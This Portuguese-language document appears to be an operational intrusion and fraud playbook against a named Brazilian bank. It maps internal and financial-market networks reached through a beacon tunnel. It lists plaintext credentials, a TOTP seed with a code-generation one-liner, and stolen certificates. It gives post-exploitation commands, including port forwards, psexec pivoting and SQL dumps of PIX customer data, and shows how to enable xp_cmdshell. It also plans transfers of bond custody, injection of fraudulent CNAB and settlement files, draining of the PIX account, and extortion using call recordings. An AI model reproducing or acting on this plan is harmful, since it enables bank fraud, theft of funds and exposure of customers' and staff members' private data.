12 — Vetores de Ataque via Rede Interna (Full Tunnel)

O QUE TEMOS COM ACESSO TOTAL VIA TUNNEL

Com beacon na rede interna (192.168.10.0/24) + SOCKS tunnel + port forward, temos acesso a todos os IPs documentados no hosts.txt. Cada um abre vetores específicos.

---

MAPA DE REDES ACESSÍVEIS

┌────────────────────────────────────────────────────────────┐
│                  REDE LOCAL (192.168.10.0/24)               │
│  Workstations, Servidores, Sinqia, SQL Server, Intranet    │
└────────────────────────────────┬───────────────────────────┘
                                 │
                    ┌────────────▼────────────┐
                    │  SERVIDOR RTM           │
                    │  10.225.32.119          │
                    │  Adm/Bcclassico123456789│
                    └────────────┬────────────┘
                                 │
         ┌───────────────────────┼───────────────────────┐
         │                       │                       │
    ┌────▼────┐            ┌─────▼─────┐          ┌─────▼─────┐
    │  RTM    │            │   RSFN    │          │   B3      │
    │ 10.0.x  │            │ (via RTM) │          │ 177.54.x  │
    │ 10.225.x│            │           │          │ 125.255.x │
    └────┬────┘            └─────┬─────┘          └─────┬─────┘
         │                       │                      │
    ┌────▼────┐  ┌──────────┐  ┌▼──────────┐     ┌─────▼─────┐
    │ SELIC   │  │  CETIP   │  │ SPI/ICOM  │     │ Clearing  │
    │ ANBIMA  │  │  NoMe    │  │ DICT      │     │ Depositár │
    │ Pre-mat │  │          │  │ SPB-Web   │     │ MTA/COLD  │
    └─────────┘  └──────────┘  └───────────┘     └───────────┘

---

VETOR 1: REDE LOCAL (192.168.10.0/24)

O que está lá

IP	Serviço	Credencial	O que dá pra fazer
.113	Sinqia (sqctrl/bff/kc/artemis)	Keycloak + TOTP	Painel bancário, PIX, fila de mensagens
.132	Intranet	admin / bcclassico1234	Documentos internos, políticas
.214	Servidor Windows	Adm / Bcclassico…	Lateral, creds, shares
.233/.234	Gravação áudio	admin / 12345678	Todas chamadas telefônicas do banco
server02	SQL Server	sysbancoclassico / BCO01cla	DB completo: clientes, PIX, transações
SPB Prod	Gateway PIX	Adm / BCO01cla	Certificados, mensagens SPI
SPB Homol	Gateway PIX HML	Adm / BCO01cla	Testes, XSDs, configs

Ações por alvo

192.168.10.113 — Sinqia Stack

# Port forwards necessários:
lportfwd start 8443 192.168.10.113 443    # sqctrl (painel)
lportfwd start 8080 192.168.10.113 8080   # bff (API)
lportfwd start 8081 192.168.10.113 8081   # Keycloak admin
lportfwd start 8161 192.168.10.113 8161   # Artemis web console
lportfwd start 61616 192.168.10.113 61616 # Artemis AMQP/OpenWire
lportfwd start 5672 192.168.10.113 5672   # Artemis STOMP

O que fazer:

• sqctrl: Painel de controle bancário. Criar/alterar transações, ver clientes, operações
• bff: API REST do core banking. Endpoints de consulta e operação
• Keycloak: Admin console (/admin). Criar usuários, ver tokens, alterar permissões
• Artemis: Filas de mensagens. Ver/injetar mensagens ISO 20022 (pacs.008, pacs.002)

Credenciais Keycloak prováveis:

• admin / admin (default)
• admin / BCO01cla
• admin / nini138728
• Ou via jacksonciliano.classico@cloud.local / J@ckson138728nini138728 + TOTP

server02 — SQL Server (BancoClassicoDB)

# Via mssql BOF direto (não precisa port forward):
mssql server02 sysbancoclassico BCO01cla "<QUERY>"

O que consultar:

Query	O que retorna
SELECT * FROM pix.t410rcon	Cadastro de clientes PIX (CPF, nome, ID)
SELECT * FROM pix.t410chpx	Chaves PIX registradas
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES	Todas as tabelas do banco
SELECT * FROM sys.sql_logins	Logins SQL (pode ter mais creds)
EXEC xp_cmdshell 'whoami'	Shell no server (se habilitado)
EXEC xp_cmdshell 'dir C:\ /s /b *.pfx *.pem *.key'	Buscar certificados
SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%saldo%'	Tabelas de saldo
SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%transac%'	Histórico de transações

Habilitar xp_cmdshell (se desabilitado):

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

192.168.10.233/234 — Gravação de Áudio

# Acesso web direto:
lportfwd start 9080 192.168.10.233 80
lportfwd start 9081 192.168.10.234 80

O que fazer:

• Ouvir gravações de chamadas (operações financeiras, ordens verbais)
• Identificar senhas faladas, PINs, informações de transações
• Material para engenharia social

---

VETOR 2: REDE RTM (via Servidor RTM 10.225.32.119)

Como chegar

# Opção 1: Beacon no servidor RTM
jump psexec <RTM_HOSTNAME> <beacon>    # com token Administrador/Bcclassico123456789

# Opção 2: Port forward via beacon existente
lportfwd start 10032 10.225.32.119 3389  # RDP no RTM

# Opção 3: Double pivot (beacon LAN → beacon RTM → rede financeira)
# Após beacon no RTM, criar SOCKS nele:
socks start 1081 5  # no beacon do RTM

O que está acessível via RTM

A RTM (Rede de Telecomunicações para o Mercado) é uma extranet privada que conecta 850+ instituições. Tendo acesso ao servidor RTM do banco, temos acesso a:

---

2.1 — SELIC (Títulos Públicos Federais)

Host	IP	Serviço
www.selic.rtm / selic.rtm	10.0.32.10	Portal SELIC
selicprod.selic.rtm	10.0.32.20	SELIC Produção
pre-matching.rtm.selic.gov.br	10.228.7.2	Pre-matching produção
pre-matching-hml.rtm.selic.gov.br	10.228.6.2	Pre-matching homologação

O que é o SELIC: Sistema de custódia e liquidação de títulos públicos federais (LTN, NTN-B, NTN-F, LFT). O banco custodia títulos no SELIC.

Acesso: Portal web na RTM → Sistema Logon do Selic (user+senha)

Funcionalidades do Portal SELIC na RTM:

Funcionalidade	O que faz	Vetor
Consulta de custódia	Ver posição de títulos do banco	Saber quanto vale a carteira
Extrato de conta	Movimentações na conta SELIC	Ver operações recentes
Transmissão de comandos	Executar operações	Transferir/vender títulos
Operações compromissadas	Compra/venda com compromisso de recompra	Operações de tesouraria
Transferência de custódia	Mover títulos entre contas	Desviar títulos
Pre-matching	Conferência prévia de operações	Registrar operações

Credenciais prováveis (baseado no padrão):

• Login SELIC: provavelmente vinculado ao Jackson/Heraldo
• Senhas: J@ckson138728, hgs2015 (Heraldo), classico241

POR QUE IMPORTA: O Banco Clássico é um banco de investimentos — provavelmente tem centenas de milhões em títulos públicos custodiados no SELIC.

Operação: Transferência de custódia → mover títulos para outra conta SELIC (precisa duplo comando, mas se controla as duas pontas…)

---

2.2 — B3 / Clearing / Depositária

Host	IP	Serviço
clearing.bvmfnet.com.br	177.54.211.48	Clearing RTC
clearing2.bvmfnet.com.br	177.54.211.49	SLF/LNR/LFC/BTB/DDA/GRC
clearing3.bvmfnet.com.br	177.54.211.50	NGA/SLP/GG3
corporativo.bvmfnet.com.br	177.54.211.51	Portal Corporativo
depositaria.bvmfnet.com.br	177.54.211.105	Central Depositária RV
auth4b3-corporativo.netb3.com.br	177.54.211.108	CAU/SINCAD/Portal
cau.bvmfnet.com.br	177.54.211.22	Centro de Atendimento
sog.bvmfnet.com.br	177.54.211.47	Ônus e Gravames

Credenciais B3 confirmadas:

Sistema	Login	Senha
COLD (B3)	01234-JABDALLA	classi02
CAS (B3)	1234JABDALLA	classico03
CAS Heraldo	—	1960hedo
CAS Alexandre	—	ale2072
MTA (B3)	I001234	2015class01
Atende B3	jackson@bancoclassico.com.br	J@ckson138728

Funcionalidades acessíveis:

Sistema	Função	Vetor
COLD	Consulta on-line de dados (posição, extrato, liquidação)	Ver carteira de ativos
CAS	Central de Atendimento Sistêmico	Suporte, desbloqueio
MTA	Módulo de Transferência de Arquivos	Upload/download de arquivos de liquidação
Corporativo	Portal corporativo B3	Informações do participante
Depositária	Central Depositária de Renda Variável	Ações, FIIs, ETFs custodiados
SOG	Ônus e Gravames	Garantias sobre ativos
CAU	Centro de Atendimento ao Usuário	Gestão de acessos, reset de senhas

POR QUE IMPORTA: Via MTA podemos fazer download de arquivos de liquidação do banco (ver TODAS as operações) e potencialmente upload de arquivos de remessa (injetar operações).

Autenticação B3 via RTM: user + senha forte (sem 2FA quando via rede RTM interna)

---

2.3 — CETIP / NoMe (Balcão)

Host	IP	Serviço
nome.cetip.net.br	10.0.48.30	Produção
nomehom.cetip.net.br	10.0.48.68	Homologação

O que é: Plataforma de registro e liquidação de ativos de balcão (CDBs, LCIs, LCAs, debêntures, derivativos).

Funcionalidades:

Função	O que faz	Vetor
Registro de operações	Registrar compra/venda de ativos	Criar operações fictícias
Depósito de ativos	Transferência de titularidade	Desviar ativos
Liquidação financeira	Pagamento de operações	Desviar liquidações
Consulta de posição	Ver posição do banco	Intelligence
Ônus e gravames	Garantias sobre ativos	Liberar/gravar garantias

Autenticação: Plataforma NoMe via RTM = user + senha forte (sem 2FA)

---

2.4 — ANBIMA

Host	IP
www.anbima.net.br	10.225.66.212 / 10.32.22.111 / 10.0.33.2

O que é: Associação dos mercados financeiro e de capitais. Para fundos de investimento:

• Envio de XML de carteiras
• Marcação a mercado
• Compliance regulatório

Vetor: Acesso a dados de fundos geridos pelo banco, posições de carteira.

---

2.5 — Extranet RTM

Host	IP
www.extranet.rtm / extranet.rtm	10.0.17.2
areacliente.rtm.net.br	10.163.3.203
areacliente-auth.rtm.net.br	10.163.0.23
areacliente-backend.rtm.net.br	10.163.1.81

O que é: Portal de gestão da conectividade RTM. Permite:

• Ver todos os serviços contratados
• Gerenciar circuitos
• Tickets de suporte
• Documentação técnica (manuais SELIC, manuais SPB-Web, etc.)

---

2.6 — SPI / DICT / SPB-Web (via RSFN)

Serviço	Host	Porta
ICOM SPI (Produção)	icom.pi.rsfn.net.br	16422
ICOM SPI (Secundário)	icom-sec.pi.rsfn.net.br	17422
ICOM SPI (Homologação)	icom-h.pi.rsfn.net.br	16522
DICT	dict.pi.rsfn.net.br	443
SPB-Web	spbweb.bcb.gov.br (via RSFN)	443

SPB-Web Módulo SPI — funcionalidades:

Funcionalidade	O que faz	Vetor
Consulta de saldo	Ver saldo atual da Conta PI	Saber limite para operações PIX
Extrato/Lançamentos	Ver todas as transações da Conta PI	Intelligence completa
Bloqueio de envio	Bloquear/desbloquear emissão de PIX	Desbloquear após bloqueio automático
Configuração de saldo mínimo	Alterar floor de saldo	Desativar proteção de saldo mínimo
Desativar bloqueio automático	Desligar auto-block	Permitir drenar a Conta PI
Sensibilidade de alertas	Alterar nível de alertas de movimentação atípica	Reduzir monitoramento

ACESSO ao SPB-Web: Requer certificado digital e-CNPJ ICP-Brasil do banco + operadores credenciados com duplo comando.

---

VETOR 3: ABBC / COMPENSAÇÃO

Host	IP	Credencial
ABBC (via FileZilla)	10.200.52.10	241 / cbba241
ABBC-RTM	—	ABBC241 / classico241

O que é a ABBC

A ABBC (Associação Brasileira de Bancos) provê serviço de compensação para bancos menores que não tem infraestrutura própria. O Banco Clássico (código 241) usa a ABBC para:

• Compensação de cheques
• Compensação de boletos
• Troca de arquivos CNAB (remessa/retorno)

O que dá pra fazer

Ação	Como	Impacto
Download de retornos	FTP 10.200.52.10 (241/cbba241)	Ver todos os boletos pagos, cheques compensados
Upload de remessas	FTP 10.200.52.10	Registrar boletos falsos, cobranças
Arquivos CNAB 240	Formato padrão FEBRABAN	Injetar instruções de pagamento
Listar arquivos	ls no FTP	Ver fluxo de compensação do banco

Formato de arquivo CNAB 240 (remessa de pagamento)

HEADER DE ARQUIVO (240 posições)
├── Código do banco: 241
├── Tipo de registro: 0
├── Tipo de arquivo: 1 (Remessa)
├── CNPJ do banco: 31597552000152
└── Data de geração

LOTE DE SERVIÇO (pagamentos)
├── Header de lote
├── Segmento A (dados da transferência)
│   ├── Banco destino
│   ├── Agência + conta destino
│   ├── Nome do favorecido
│   ├── CPF/CNPJ
│   ├── Valor
│   └── Data de pagamento
├── Segmento B (dados complementares)
└── Trailer de lote

TRAILER DE ARQUIVO

Vetor: Criar arquivo CNAB 240 de remessa com instruções de transferência (DOC/TED) e fazer upload via FTP ABBC. A ABBC processa e encaminha para liquidação.

---

VETOR 4: SINQIA SFTP (Cloud)

Dado	Valor
Host	sftp.sinqia.com.br
User	jacksonciliano.classico@cloud.local
Pass	J@ckson138728nini138728
2FA	TOTP seed: FFDEILVGILTVWVYPDQZFTUPT5A5WFRN3

O que está no SFTP Sinqia

A Sinqia como PSTI/core banking troca arquivos com o banco:

• Extratos de conta corrente
• Arquivos de liquidação (TED, DOC, PIX)
• Posição de carteiras (fundos de investimento)
• Arquivos regulatórios (BACEN, CVM)
• Backups de dados do core banking

O que dá pra fazer

# Conectar (com 2FA bypass via seed):
sftp jacksonciliano.classico@cloud.local@sftp.sinqia.com.br
# Senha: J@ckson138728nini138728
# TOTP: python3 -c "import pyotp; print(pyotp.TOTP('FFDEILVGILTVWVYPDQZFTUPT5A5WFRN3').now())"

# Listar estrutura
ls -la /
ls -la /processamento/
ls -la /liquidacao/
ls -la /pix/
ls -la /fundos/
ls -la /bacen/
ls -la /retorno/
ls -la /remessa/

Ação	Impacto
ls / get em /liquidacao/	Ver TODAS as liquidações pendentes/processadas
ls / get em /pix/	Arquivos de transações PIX
ls / get em /fundos/	Posição completa dos fundos Abdalla
put em /remessa/	Injetar arquivo de remessa (pagamentos fraudulentos)
get em /bacen/	Relatórios regulatórios, dados sensíveis

---

VETOR 5: BRADESCO OFFICE BANKING

O que temos

6 pares de certificados (cert + key) do Bradesco em PEM sem proteção de senha:

• Válidos até 2028-2029
• Usados para autenticação no Office Banking Bradesco
• Permitem acesso ao sistema de transferências do Bradesco

O que é Office Banking

Sistema corporativo do Bradesco para empresas fazerem:

• TED/DOC (transferências interbancárias)
• Pagamento de fornecedores
• Folha de pagamento
• Consulta de saldo/extrato
• Investimentos (CDB, fundos)
• Cobrança (boletos)

Vetor

Com os certificados, pode-se autenticar no Office Banking como se fosse o banco/empresa e:

• Ver saldo nas contas do Bradesco
• Iniciar transferências (com limites configurados)
• Ver extrato completo
• Consultar investimentos

NOTA: Pode exigir token adicional (SMS ou device) dependendo da configuração do contrato.

---

VETOR 6: CHECKPOINT / VPN FINANCEIRA

Sistema	Credencial
Checkpoint Secure Client	BCOCLASSICO1234 / Ftag!14

O que é

VPN para acesso a redes financeiras seguras. Pode dar acesso a:

• Rede RTM de fora do prédio
• Sistemas que normalmente só são acessíveis de dentro

---

RESUMO: IMPACTO POR VETOR

Vetor	Acesso via	O que consegue	Valor potencial
SPI/PIX	SPB Prod → ICOM	Transferências PIX instantâneas irreversíveis	Limitado ao saldo Conta PI
SELIC	RTM → Portal SELIC	Transferência/venda de títulos públicos	Centenas de milhões (carteira)
B3/Clearing	RTM → BVMF	Operações com ativos, liquidação	Posição do banco
CETIP/NoMe	RTM → NoMe	Registro/transferência de ativos balcão	CDBs, LCIs, debêntures
ABBC/Compensação	FTP 10.200.52.10	Injetar arquivos CNAB de pagamento	Limite de compensação
Sinqia SFTP	SFTP cloud	Arquivos de liquidação, injetar remessas	Core banking completo
SQL Server	Direto (LAN)	Dados de clientes, transações, PIX	Intelligence total
Bradesco Certs	Internet (Office Banking)	Transferências via Bradesco	Saldo nas contas
Gravações	LAN .233/.234	Chamadas telefônicas	Inteligência, extorsão
SPB-Web	RSFN (cert e-CNPJ)	Gestão da Conta PI, desbloquear	Controle operacional

---

PRIORIDADE DE EXPLORAÇÃO

PRIORIDADE 1 (IMPACTO MÁXIMO + ACESSO CONFIRMADO):
├── SPB Produção → Certificados PIX → SPI (pacs.008)
├── SQL Server → Dados completos + xp_cmdshell
└── Sinqia sqctrl → Painel bancário completo

PRIORIDADE 2 (ALTO VALOR + PRECISA RECON):
├── SELIC Portal RTM → Títulos públicos
├── B3 MTA/COLD → Posição de ativos
└── Sinqia SFTP → Arquivos de liquidação

PRIORIDADE 3 (COMPLEMENTAR):
├── ABBC FTP → Compensação (cheques/boletos)
├── CETIP/NoMe → Ativos de balcão
├── Bradesco Office Banking → Contas externas
└── Gravações de áudio → Intelligence